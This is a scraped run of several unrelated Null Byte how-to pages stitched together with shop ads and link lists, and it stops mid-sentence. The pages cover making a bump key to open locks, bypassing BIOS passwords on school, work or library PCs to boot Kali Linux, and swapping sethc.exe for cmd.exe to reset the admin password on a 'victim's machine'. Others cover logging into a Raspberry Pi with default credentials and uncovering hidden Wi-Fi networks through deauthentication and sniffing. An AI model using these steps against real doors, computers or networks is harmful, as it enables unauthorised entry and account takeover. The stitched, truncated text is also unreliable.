While it usually retails for $1,600, the collection is available to Null Byte readersnow for $59.99.Prices are subject to change.Start Training Today:2020 Premium Ethical Hacking Certification Bundle for $59.99Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image viawbraga/123RFRelatedHow To:Expand Your Coding Skill Set by Learning How to Build Games in UnitySummer Learning:The Best Places to Take Online Classes for FreeHow To:Take lutein supplements and know the side effectsHow To:Access Deep WebHow To:Break into the Lucrative World of Ethical Hacking with This Reasonably Priced Course BundleHow To:This Top-Rated Web Developer Course Will Teach You to Build Real-World WebsitesHow To:Hack Your Business Skills with These Excel CoursesNews:The Pursuit of KnowledgeHow To:Expand Your Coding Skill Set with This 10-Course Training BundleHow To:ALL-in-ONE HACKING GUIDENews:What to Expect from Null Byte in 2015Weekend Homework:How to Become a Null Byte ContributorNews:Null Byte Is Calling for Contributors!News:HackingNews:Bugzilla Cross Site Request ForgeryCommunity Byte:HackThisSite, Realistic 5 - Real Hacking SimulationsCommunity Byte:HackThisSite, Realistic 4 - Real Hacking SimulationsCommunity Byte:HackThisSite, Realistic 3 - Real Hacking SimulationsCommunity Byte:HackThisSite, Realistic 2 - Real Hacking SimulationsCommunity Byte:HackThisSite, Realistic 1 - Real Hacking SimulationsNews:KGB Agent GuidelinesHow To:Noob's Introductory Guide to Hacking: Where to Get Started?News:Looking for a 7D enthusiast to run 7D World... is it you?Goodnight Byte:HackThisSite, Realistic 1 - Real Hacking SimulationsNews:The Eight Element TableCommunity Byte:HackThisSite Walkthrough, Part 2 - Legal Hacker TrainingGoodnight Byte:Coding a Web-Based Password Cracker in PythonHow To:9 Ways to Get People to Do What You WantCommunity Byte:HackThisSite Walkthrough, Part 1 - Legal Hacker TrainingWeekend Homework:How to Become a Null Byte Contributor (2/17/2012)Farewell Byte:Goodbye Alex, Welcome AllenHow To:Sneak Past Web Filters and Proxy Blockers with Google TranslateAtomic Web:The BEST Web Browser for iOS DevicesEditor Picks:The Top 10 Secret Resources Hiding in the Tor NetworkWeekend Homework:How to Become a Null Byte Contributor (3/2/2012)Community Byte:HackThisSite Walkthrough, Part 6 - Legal Hacker TrainingFreedom watch:Not a single Democrat voted for ending raids on raw milkWeekend Homework:How to Become a Null Byte Contributor (2/3/2012)
How to Create a Bump Key to Open Any Door « Null Byte :: WonderHowTo
Lockpicking is a skill that takes years upon years to master. Locks come in all sorts of shapes and sizes, but have common ground in how they work. Most cylinder locks have "tumblers," which are metallic cylindrical objects that sit vertically to the actual locking mechanism. Tumblers have five or six holes with rounded key pins of various height in them, each needing to meet anexactheight or the cylinder in the center (the lock itself) will not be allowed to turn. This is the reason why you see those "mountains and valleys" on keys, and why these types of locks are called pin tumbler locks. Each is unique.Today'sNull Byteis going to demonstrate how to effectively make what is called a "bump key". A bump key can open any lock that it fits into. It's helpful to have in your pocket if you ever lose your keys, because it can open your door lock and your deadbolt, even if they normally require seperate keys. I keep mine in my wallet.What Makes It Work?The teeth in a bump key are set really low so that you can fit it into locks where the tumblers may be set as low as possible. The teeth are steep and jagged because when you "bump" the key while applying torque, for a split-second, all of the tumblers will bounce up into their perfect positions allowing a window for you to open the lock. The torque you apply makes the tumblers stop once they reach the desired height.Please don't use this key to go into places where you do not belong.Step1Make the Bump KeyGo to the any store that has blank keys.Wal-MartandHome Depothave them. They look like this, without teeth at all:A bump key is made by using atriangular file(they're at every hardware store… very cheap) on the blank key.Point the file down to shave the extreme "valleys" that you see in a bump key, with ample force. Use it to shave down the grooves on the key to look like this:If you don't want to use a blank key, you can just use one of your spare house keys.Step2Bump Open a Lock!Put the key into a hole at the end of the plug (exactly how you would normally open a lock). The bump key pictured above would fit into most cylinder locks and deadbolts.After it's pushed all the way into the lock, pull the key out until you feel it click twice.Take your blunt object (I use a pocket knife) and hit the key with a bit of force, while applying torque (pressure) to turn the key in the direction you need to in order to open it.It's a little hard to get at first, but once you get the feel for it, you can open it the first try nearly every time. Here's a video demonstration on how I used one to open my garage.Please enable JavaScript to watch this video.Good job making your first bump key! Talk with me one-on-one at ourIRCchannel! You can also follow me onTwitterandGoogle+to get in touch with me. Happy hacking!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicensePhotos byHSW,Bumpkey.com,Made-in-China,TopMachineBiz,ImageShackRelatedHow To:Pick Locks with a Strategically Placed Bump KeyHow To:Use a bump key attack on a Shlage Primus lock and prevent bump attacksOpen a Door Lock Without a Key:15+ Tips for Getting Inside a Car or House When Locked OutHow To:Unlock a Locked Car Door Without a Key or Slim JimHow To:Break into Locks with Beer Can Shims, Bump Keys, & Just Plain Brute ForceHow To:Use a Tennis Ball to Unlock Car Doors Without a KeyHow To:Make a bump keyHow To:Open Your Car Door Without a Key: 6 Easy Ways to Get in When Locked OutSafe-Cracking Made Stupid Easy:Just Use a MagnetHow To:Make and use a bump key to pick any lockHow To:Unlock Car Doors with a Punctured Tennis Ball (Faux-To?)Hacking Elevators:How to Bypass Access Control Systems to Visit Locked Floors & Restricted Levels in Any BuildingDigital Lock-Picking:This Simple Arduino Hack Opens Millions of Hotel Keycard DoorsHow To:Unlock Your Front Door Without Keys Using This DIY Keyfob Entry SystemHow To:Unlock a Car Door with Your Keys Inside in 30 SecondsHow To:Spring bump locksHow To:Pop a Car Lock with a Coat HangerOops:Some Security Doors Can Be "Picked" with Canned AirHow To:Hack into locks with lock bumping techniquesHow To:Unlock your iPhone or iPod Touch to bypass the passcodeHow To:This Is Why Your TSA-Approved Luggage Locks Are Useless"Breaking" News:How to Crack Simple Combination Locks in MinecraftHow To:Unlock Your Car Door with a Shoelace in 10 SecondsHow To:Unlock Your Car with a ShoelaceHow to Pick Locks:Unlocking Pin and Tumbler DeadboltsHow To:Open any locked door using a lock bumping techniqueNews:Bam's Living Hell!News:Vinyl DeliveryNews:Reverse SubmarineHow To:THIS is how you open a doorHow To:Open a Door Chain Lock or Bar Latch from the OutsideNews:A Simple TNT Pressure Plate Trap That Actually Works!News:Under cutting door jambs with a hand saw, before installing laminate flooringNews:Giving Your Fridge a Mind of Its Own with RIFD TagsHow To:Execute the Ping Pong Ball Tsunami PrankNews:Bam Margera in Saw !News:zombie streetsHow To:Create a Hidden Piston Door in MinecraftNews:Packing Tape Door WayNews:Drop Through Floor
How to Bypass Locked Windows Computers to Run Kali Linux from a Live USB « Null Byte :: WonderHowTo
It's easy to runKali Linuxfrom a live USB on nearly any available computer, but many publicly accessible laptops and desktops will be locked down to prevent such use. School, work, or library PCs can be secured with a BIOS password, which is often an easily recovered default password. Once you have access, though, you can use a USB flash drive to run Kali live on any PC you find.Running Kali Linux on Computers via USBWith a Kali live USB stick, you can run a hacking OS on any machine you can plug into, meaning you don't have to dedicate your personal computer or a portion of it for your hacking adventures, nor do you need to buy a PC just to use Kali with. A live USB allows the resources of the computer to be used to boot from the thumb drive, ignoring the hard drive the computer usually boots from.Image by Kody/Null ByteWhen running Kali from a USB stick, there are two different ways of doing so. One is persistent, meaning changes that you make are saved to the flash drive. The other is non-persistent, where no changes are saved any anything you do is lost when you exit the session.If you don't need to store files or remember settings you've changed, you can simply run the installation in live mode and enjoy the benefits of a fresh system every time you start. If persistence is a necessary feature, you can take the extra steps needed to make your installation persistent.More Info:How to Create Bootable USB with Persistence for Kali LinuxUsing a Kali Live USB Stick on Any Windows PCWhile computers can be found almost everywhere nowadays, it's rare to find one for public use that isn't protected in some way. Most school and work computers have layers of defenses, usually requiring a login, and some features deemed risky could be disabled. An example of one of these features is changing the boot order in the BIOS menu to allow booting from a USB stick.The BIOS, or Basic Input/Output System, is the configuration menu which can be run at the beginning of booting a computer. This system runs before the operating system and does things like tells the computer which input device to search first for an operating system to boot from.If the BIOS is unlocked, changing the boot order to have the computer attempt to boot from USB first takes only a few seconds with the on-screen menu, which can usually be accessed by pressingF2while starting the computer.However, as mentioned before, most publicly accessible computers will have a BIOS password set. This password, sometimes called an administrator password, will be required to switch the boot order, making it much harder for the average user to run Kali on a computer they have access to. If the BIOS password is set to a strong password, it can be extremely difficult to modify the system in any meaningful way.Don't Miss:How to Run Kali Linux as a Windows SubsystemFortunately for a hacker, many PCs simply use a default password on the BIOS, which can be derived easily from the serial number. This allows a hacker to bypass the BIOS password to change the boot order to allow Kali Linux to run on the system. We'll explore how this works, so you can determine if a computer is using a default BIOS password and bypass it.What You'll Need to Get StartedTo try this attack, you'll need to use a computer that has a version ofWindowsrunning on it. The boot system ofmacOSdoesn't use a BIOS-type interface, so you won't be able to execute this kind of attack against a Linux or macOS device.Once you have a test computer, you'll need to create a bootable USB image of Kali Linux. You'll need aUSB stick with at least 16 GB of spaceon it, althoughmoreis advised if you want a persistent installation which allows you to save files or data.Recommended on Amazon:Samsung 128 GB Metal USB 3.0 Flash Drive for Around $35Step 1: Download Kali Linux for a Live InstallTo begin, download Kali Linux fromkali.org/downloads, taking care to download the appropriate version for the computer you're going to be using. Generally, the 64-bit version should be fine.Step 2: Burn a Kali Live Installation to a USB DriveOnce this file has been downloaded, you'll need to burn it to a USB flash drive using Etcher (download). This free, cross-platform program can turn the Kali image into a bootable USB stick. Make sure there are no files on the thumb drive you are using because it will be erased in the process.Insert the USB drive into your computer, then open Etcher. Inside Etcher, you'll need to supply two pieces of information: the image to write and the drive to write the image to. For the option on the far left, select the Kali image you downloaded, then hit "Select drive" to choose your thumb drive. Make sure you're selecting the correct drive because after you click the "Flash" button, the selected drive will be erased.Click "Flash," and the process will begin, first burning the data to the drive, and then verifying the burned image. When this is done, you can safely eject the drive.Step 3: Reboot the Target Computer to Access the BIOSNow that the USB stick is ready, booting into Kali is fairly simple if you're able to access the boot order settings. First, you'll need to identify the key to press when you reboot the computer which accesses the BIOS menu. My HP computer allows access to this menu by hittingEsc, but for many other desktop PCs, the key isF2.Common Keys for Newer PCs: F1 F2 F10 Del Esc Notes: - If you try F2 and see a diagnostics tool, the BIOS key is likely F10. - If the boot menu opens for F10, it's likely F2.If you're unsure what keyboard command it is for your computer, you can Google it or simply watch the screen when your computer starts, as it often will say which key to press in order to enter the startup menu, as seen below.Press <F2> to enter BIOS setupFrom within the BIOS system, you'll need to look for the "boot order" or "boot menu." When you've located this, you'll need to change the order that the computer looks for devices to boot from. If there is no password, this is the step in which you can simply change the boot order so that the USB drive comes before the hard drive, and you're done!Unfortunately, many computers will have an administrator password set here, preventing you from changing the setting. In that case, jump to the next step to start the process of bypassing it.Step 4: Recover the Default PasswordAfter getting a prompt stating that a password is needed to change the boot order, it should include the serial number, which can be used to figure out the password.On your smartphone or another computer, you'll need to navigate to a website that generates BIOS default passwords such asClear unknown BIOS passwords. Copy down the serial number you got from the BIOS menu, then enter it into the website tool and hit "Get password" (or a similar button) to generate a default password.Some manufacturers supported by the website are as follows:Asus: Current BIOS date. For example: 01-02-2013 Compaq: 5 decimal digits (e.g., 12345) Dell: Supports such series: 595B, D35B, 2A7B, A95B, 1D3B, 6FF1, and 1F66. (e.g., 1234567-2A7B or 1234567890A-D35B for HDD) Fujitsu-Siemens: 5 decimal digits, 8 hexadecimal digits, 5x4 hexadecimal digits, 5x4 decimal digits Hewlett-Packard: 5 decimal digits, 10 characters Insyde H20 (Acer, HP): 8 decimal digits Phoenix (generic): 5 decimal digits Sony: 7-digit serial number Samsung: 12 hexadecimal digitsAfter you enter your code, you'll see several codes to try. You can type these in one by one to see if any of them work. If you're trying this on a Dell computer, you'll need to pressCtrlandEnterat the same time to get the default password to work.Step 5: Bypass Authentication & Change the Boot OrderNow that you have the default BIOS password, you can access the entire BIOS menu. This gives you full access to the hardware settings of the computer, and you can do pretty much whatever you want at this point. To start, you can disable the BIOS password, set a new admin password, or do things like apply firmware updates.In this case, you probably won't need to do any of this. Attempting to change the boot order should give you a password prompt, and once you supply the default password, you should be able to switch the boot order to make the "USB" option first, as seen above in Step 3.Don't Miss:Fully Anonymize Kali with Tor, Whonix & PIA VPNIf this doesn't work, you can also navigate to the security settings and attempt to log in there. Once you supply the default password, you can proceed to either disable or change it, allowing you to proceed to the boot order settings and change it to run USB first.Step 6: Boot Kali Linux from USBNow that you've bypassed the BIOS password and changed the boot order, insert the Kali live USB stick, and reboot the computer. The first place the computer should now look is the USB port for a system to boot from, but in the future, if there is no bootable system plugged into the USB drive, it will just proceed to boot from the hard drive as usual.Once the system starts, you will be taken to the Kali setup screen. Here, you'll be able to pick which version of Kali you want to run on the system. You can select a live version, which will not save any data to the disk, or a persistent version, which will allow you to save files and settings to the disk.Image by Kody/Null ByteYou can also choose to install Kali Linux permanently onto the system, which will allow you to select part of the hard disk of the host computer and install Kali Linux onto it. This may change the way the computer boots, so it's not a very subtle option.Don't Miss:How to Compile a New Hacking Tool in KaliOnce you decide which to run, select it to begin booting into the system. Once you see the login prompt, typerootas the username andtooras the password to log into the desktop for the first time. And now that you're logged in, you're free to run an update, change the default password, and get started using Kali Linux!Have Questions on Any of This?I hope you enjoyed this guide to bypassing BIOS passwords to free any Windows PC to use Kali Linux from a portable flash drive! If you have any questions about this tutorial or running Kali from a live USB stick, feel free to leave a comment below or reach me on [email protected]'t Miss:How to Install Kali Linux as a Virtual Machine on a MacFollow Null Byte onTwitter,Flipboard, andYouTubeFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo and screenshots by Kody/Null ByteRelatedHow To:Create Bootable USB with Persistence for Kali LinuxHow To:Kali Is Your New Pet; The Ultimate Guide About Kali Linux Portability.How To:Modify the USB Rubber Ducky with Custom FirmwareHow To:Log into Your Raspberry Pi Using a USB-to-TTL Serial CableHow To:Install Kali Live on a USB Drive (With Persistence, Optional)How To:Recover Passwords for Windows PCs Using OphcrackHow To:Scan for Viruses in Windows Using a Linux Live CD/USBHow To:Run Windows from Inside LinuxNews:Flaw in the Latest Linux Graphical Server Allows Passwordless LoginsHow To:Install Linux to a Thumb DriveHow To:Avoid Root Password Reset on Kali Live USB Persistence Boot
How to Hack Windows Administrator Password with Out SAM « Null Byte :: WonderHowTo
Hi, I am Robel, I am here to let you know about how to hack windows admin password with out Sam files, this requires physical access and any boot operating system...I used Kali 1.8 , if it doesn't work make sure you have shuted it down properlyor use backtrack.I have tested it on Win7, Win8.1, Win10 .it works like a charm.Well You are very Eger to know the techniques.....well I don't know them....just kidding here are the steps.Step 1: Getting ReadySo first make sure you have a bootable flash drive..as I have mentioned above I used Kali 1.8 using UUI which refers to Universal USB Installer.then test it on Your PC and make sure you can boot live from it.Quick Trick.Do you know that you can edit the files in the flash drive..plug it into another Linux and open it then edit the grub.cfg to ur favor.You can even edit the slah.png file with an image editor.So back to the main deal. Let's continue assuming that u have a bootable drive.Step 2: Booting and HackingOkay now We can boot it from our victims machine.To do so open the computer and press..Esc --> for HPF12 --> for ToshibaSmall button located at the right side --> lenovoAnd then click or select your flash drive then boot.Then let's select the live option and boot to Linux.So peoples I am a 9th grader and I teach some kids at school about being creative than being a person that knows every code so what I found out is that windows use file name to access the system exe files so if we rename them boooom! They are doomed. So go to places and click on the hard disk and it should be mounted ..if not restart the PC or use backtrack . the navigate your self to system32 and rename the following.sethc.exe --> robel.execmd.exe --> sethc.exerobel.exe --> cmd.exeThen reboot the PC unplug your flash drive then boot to windows then enable stickey keys by the little util button on the left bottom corner then press shift key until your mom calls you then cmd will pop up then type in this .net user AdminThis will pop ask you type is the password then exit cmd and enter your new password and log in.NB:the Admin can be substituted for any user names to find then out type in.net userSORRY FOR NO PICTURES.Thank You, I know you deal freedom when you find out that you can hack any PC but please use it for good stuff. Have a great Day and may God bless u.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHack Like a Pro:How to Remotely Grab Encrypted Passwords from a Compromised ComputerHow To:Enable Windows 10 Admin to Remove User Account Control PopupsHow To:Change Administrator Password in WindowsHack Like a Pro:How to Grab & Crack Encrypted Windows PasswordsHow To:Hack Windows 7 (Become Admin)How To:Hack a Windows 7/8/10 Admin Account Password with Windows MagnifierHow To:Hack Administrator BIOS Password on ASUS NotebooksHow To:Reset Windows Password with a Windows CD or a Linux CDHow To:Use Acccheck to Extract Windows Passwords Over NetworksHow To:Hack a Site Knowing a Bit of HTML (hackthissite.org) Part 1How To:Hack Any Windows 7 User Password.How To:Bypass Windows Passwords Part 1How To:Change the administrator password in Windows XPHow To:Extract Windows Usernames, Passwords, Wi-Fi Keys & Other User Credentials with LaZagneHow To:Set, Change and Remove Admin PasswordHow To:Reset or recover your Windows passwordHack Like a Pro:How to Crack Passwords, Part 1 (Principles & Technologies)How To:Remove a Windows Password with a Linux Live CDHow To:Recover a Windows Password with OphcrackGoodnight Byte:HackThisSite Walkthrough, Part 2 - Legal Hacker TrainingGoodnight Byte:HackThisSite Walkthrough, Part 7 - Legal HackerGoodnight Byte:HackThisSite Walkthrough, Part 3 - Legal Hacker TrainingGoodnight Byte:HackThisSite Walkthrough, Part 1 - Legal Hacker TrainingHow To:Bypass Windows and Linux PasswordsGoodnight Byte:HackThisSite Walkthrough, Part 4 - Legal Hacker TrainingGoodnight Byte:HackThisSite Walkthrough, Part 8 - Legal Hacker TrainingHow To:How Hackers Take Your Encrypted Passwords & Crack ThemHow To:Carve Saved Passwords Using CainHow To:Reveal Saved Browser Passwords with JavaScript InjectionsBokeh Photography Challenge:SamHow To:log on Windows 7 with username & passwordHow To:Disable AutorunNews:Charlie St. Cloud
Rasberry Pi: Connecting on Computer « Null Byte :: WonderHowTo
I have gotten comments from my lasttutorialon not being able to do anything because of a lack of a monitor. In order to address this problem I'm gonna show you how to connect and control the Rasberry Pi through a SSH client on Linux, Mac, Windows, and Chromebook computers. This will probably we a long tutorial so please bear with me. Anyway, lets get to work.Ip AddressThis first step is to figure out, what in the world is your Ip address. Please refer to myintroductiontutorial for more information. Follow these steps in the tutorial in order to figure out your Ip address via a TV or Monitor. This will be the only step in which you need to connect your Rasberry Pi to a TV or Monitor.There is another method if for some reason you cannot connect to a Monitor or TV. You can do this by looking on your Router's homepage under devices. In order to accomplish this task you first need to know your Ip address of your router and type in the address in the web URL bar to get to the router's homepage. This method is explained betterhere.SSH ClientNow that you have your Pi's Ip address it is time to connect via a SSH tunnel. There are many SSH tunnel programs, but some notable ones are:PuTTy-WindowsSecure Shell-ChromebookOpenSSH-LinuxI'm not gonna go into detail how to install a SSH tunnel on each different computer because that's another tutorial for another day. Anyway, now that you have your SSH tunnel, Ip address, and a computer of your choice it is time to connect your Pi on computer. Firstly, in the terminal type:ssh pi@<IP>On Windows in where you are prompted the hostname type the command except without "ssh". On chromebook, where it says hostname type without the "ssh".Now, connect to your SSH tunnel and when prompted for username type:piAnd when prompted password type:raspberryIf you have changed either of these type in whatever you've changed it to.You can only access the terminal right now, but you can open up a graphical application by this method of X forwarding. This is a new concept to me and I'm pretty sure this only works on linux, but type:ssh -Y pi@<Ip>Again I should say, I don't know if this works but atutorialthat I found on the web explains it better than I do.Congratulations, you have now connected to your Rasberry Pi to a computer via SSH tunnel.Oh, if you're wondering why I'm misspelling Rasberry Pi, it's because that's how my guide and everything else spells it. I don't know why but that's the way it is. Anyway, please comment below about what you think about this guide and please give me some lovins. :DWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedRasberry Pi:IntroductionHow To:Log into Your Raspberry Pi Using a USB-to-TTL Serial CableRaspberry Pi:Physical Backdoor Part 1How To:Set Up Network Implants with a Cheap SBC (Single-Board Computer)How To:Set Up a Headless Raspberry Pi Hacking Platform Running Kali LinuxHow To:Share Wi-Fi Adapters Across a Network with Airserv-NgHow To:Discover & Attack Raspberry Pis Using Default Credentials with Rpi-hunterHow To:Use VNC to Remotely Access Your Raspberry Pi from Other DevicesHow To:Set Up Kali Linux on the New $10 Raspberry Pi Zero WThe Hacks of Mr. Robot:How to Build a Hacking Raspberry PiHow To:Load Kali Linux on the Raspberry Pi 4 for the Ultimate Miniature Hacking StationHow To:Enable Monitor Mode & Packet Injection on the Raspberry PiHow To:VPN Your IoT & Media Devices with a Raspberry Pi PIA RoutertrafficHow To:Build an Off-Grid Wi-Fi Voice Communication System with Android & Raspberry PiHow To:Build Your Own Internet Radio Player, AKA Pandora's BoxHow To:Build a Beginner Hacking Kit with the Raspberry Pi 3 Model B+How To:Lock Down Your DNS with a Pi-Hole to Avoid Trackers, Phishing Sites & MoreHow To:Boot Multiple Operating Systems on the Raspberry Pi with BerryBootHow To:Automate Hacking on the Raspberry Pi with the USB Rubber DuckyHow To:Turn Any Phone into a Hacking Super Weapon with the SonicHow To:Create a Wireless Spy Camera Using a Raspberry PiOpen Sesame:Make Siri Open Your Garage Door via Raspberry PiHow To:Build a Pumpkin Pi — The Rogue AP & MITM Framework That Fits in Your PocketRaspberry Pi:Hacking PlatformNews:Smart Home Proof of Concept Uses a Raspberry Pi to Control Air Conditioner with HoloLensNews:The $25 USB Stick ComputerMinecraft:Pi Edition, Coming Soon to a Raspberry Pi Near YouRECIPE:Rasberry Buttermilk Cake Is Yum for SummerPost Pi Day Coding Project:Let's Uncover the Hidden Words in PiNews:Happy Pi/Half-Tau Day!How To:Your Guide to Lazy Baking, Part 1: How to Make Mini-Pies in Muffin TinsNews:Bombs AwayNews:Mini Pies in Muffin Tins
There Are Hidden Wi-Fi Networks All Around You — These Attacks Will Find Them « Null Byte :: WonderHowTo
There are hidden Wi-Fi networks all around you — networks that will never show up in the list of available unlocked and password-protected hotspots that your phone or computer can see — but are they more secure than regular networks that broadcast their name to any nearby device?The short answer is no, and that could be for any number of reasons.Hidden networks are actually the same as regular Wi-Fi networks; only they don't broadcast their names (ESSID) in thebeacon framesthat regular networks send out. If the name isn't included, your phone or computer will never find it just by scanning for nearby hotspots to join. To join a hidden network, you need to know its name first, and there are a few attacks that can accomplish this.There is no elaborate, crazy attack needed to discover hidden Wi-Fi networks in your area, so virtually anybody that can work their way around a computer can find one. You don't have to be a hacker, pentester, cybersecurity professional, or someone with another type of fancy cyber skillset.Ways Somebody Can Uncover a Hidden NetworkFor example, you couldmonitorthe phone, computer, or another device of a person who has connected to the hidden network before because their device will be "screaming out" the name of the network in plain text. That's because it never knows when it's physically close to the network since the network is not announcing its presence, so it's constantly looking for it.You could alsodeauthenticate, or deauth, somebody currently connected to the hidden network. Then, when they try to reconnect to the hotspot, you'll be able to intercept the network name. Whether it's this way or the one above, you can use airodump and Wireshark to get the name, as you'll soon see.Another option we'll show you today is attacking the network withMDK3and brute-forcing the name from a word list. To follow along, you'll need to have a computer, Arduino IDE, Wireshark, and a wireless network card or adapter that can be put into monitor mode.One such adapter is theAlfa AWUS036NEH($29.99), but there are many that work. Other possible options include theAlfa AWUS036NHA($35.99),TP-Link Nano($14.99),Alfa AWUS036NH($49.99),Panda PAU05($19.99), andAlfa AWUS036ACH($59.99). You can learn more about monitor mode adapters in ourKali field-testing guideandwireless adapters for hacking roundup.Don't Miss:How to Check if Your Wireless Network Adapter Supports Monitor Mode & Packet InjectionYou will also need a hidden network to attack. An easy way to do that is to create one yourself, and one good way to do that is with aD1 Miniand Arduino IDE. Check out our full guide onturning a D1 Mini microcontroller into a hackable Wi-Fi networkfor more info, only we'll be using a different sketch today.Recommended D1 Mini:Makerfocus D1 Mini NodeMCU Wi-Fi Development Board Based on ESP8266 ESP-12F ($8.99)Step 1: Create a Hidden Network on a D1 Mini (Optional)I'll assume you don't have a hidden network to hunt down, so we'll make one with a D1 Mini and Arduino IDE. I won't go into detail on how to set up a D1 Mini with Arduino IDE since we already havemanyguidesthatshowhowtodo it, so check one of those out if you don't know how to connect to the D1 Mini.Connect your D1 Mini to your computer, then open up the "WiFiAccessPoint" example sketch in Arduino IDE. You can find the sketch via File –> Examples –> ESP8266WiFi –> WiFiAccessPoint.This sketch is pretty much good to go — we just need to modify one tiny thing to create a hidden network. Because the example sketch is for creating a visible access point, we need to tweak it a bit. Go to this line in the script:WiFi.softAP(ssid, password);And change it to this:WiFi.softAP(ssid, password, 1, 1);The first "1" is to set it to channel 1, while the second "1" is to say it's a hidden network. The full sketch should look like this now:/* Copyright (c) 2015, Majenko Technologies All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * * Neither the name of Majenko Technologies nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ /* Create a WiFi access point and provide a web server on it. */ #include <ESP8266WiFi.h> #include <WiFiClient.h> #include <ESP8266WebServer.h> #ifndef APSSID #define APSSID "ESPap" #define APPSK "thereisnospoon" #endif /* Set these to your desired credentials. */ const char *ssid = APSSID; const char *password = APPSK; ESP8266WebServer server(80); /* Just a little test message. Go to http://192.168.4.1 in a web browser connected to this access point to see it. */ void handleRoot() { server.send(200, "text/html", "<h1>You are connected</h1>"); } void setup() { delay(1000); Serial.begin(115200); Serial.println(); Serial.print("Configuring access point..."); /* You can remove the password parameter if you want the AP to be open. */ WiFi.softAP(ssid, password, 1, 1); IPAddress myIP = WiFi.softAPIP(); Serial.print("AP IP address: "); Serial.println(myIP); server.on("/", handleRoot); server.begin(); Serial.println("HTTP server started"); } void loop() { server.handleClient(); }Now, hit the Upload button to compile the sketch and flash it to the D1 Mini. After it finishes, your D1 Mini should now be broadcasting a hidden access point with the name "ESPap" and password "thereisnospoon" as seen in the example.Step 2: Connect a Device to Your New Hidden NetworkTo see a device hunting for the hidden network, connect to it first with your phone or another device using the default name (ESPap) and password (thereisnospoon). Then, disconnect it from the network. After putting the wireless adapter into monitor mode and doing a quick scan on channel 1, we should be able to the device trying to auto-connect, but more on that in a second.Step 3: Put Your Wireless Adapter into Monitor ModePutting your Wi-Fi card or adapter into monitor mode lets you monitor wireless traffic that's not just intended for your computer. Without out, it will only concentrate on what you're allowed to look at, so monitor mode is important for this attack to work. I'll assume you know how to do this, but just in case you don't, check out our full guide onchecking and enabling monitor mode.More Info:How to Put Your Wireless Card into Monitor ModeStep 4: Scan Channel 1 for TrafficWith the card in monitor mode, now it's time to see the channel we'll be listening in on, which would be channel 1, which we included in the example sketch above. This will dramatically narrow down our search. To do so, just use this in a Terminal window:~$ sudo airodump-ng CARDNAME -c 1 [sudo] password:Airodump should start scanning now, and if your phone is still on and trying to find the hidden network, you should see it frantically trying to connect to it. It may look like many different devices, but it's actually just one device that's randomizing its MAC address. Look for the wireless destination address.In practice, you could start scanning with airodump, waiting for someone to come home, go into work, or some other scenario where their device will automatically start hunting for the nearby hidden network they've joined before and connect to it. If no other devices in the room have connected to the hidden AP before, it may be obvious which one on the scan is the target, but it could also be tricky if it has a lot of networks saved.For me, airodump has given me a clear indicator of the hidden network. Once you find yours, copy the network device's MAC address, then turn off your phone or disable the Wi-Fi on it.Step 5: Open WiresharkNow it's time to start eavesdropping on the traffic. Open up Wireshark:~$ sudo wireshark [sudo] password:It should be capturing packets on the correct channel, but make sure to select the same wireless network adapter that's in monitor mode first. Then, let's use the filter below to narrow down the traffic to just the hidden network.wlan.ta 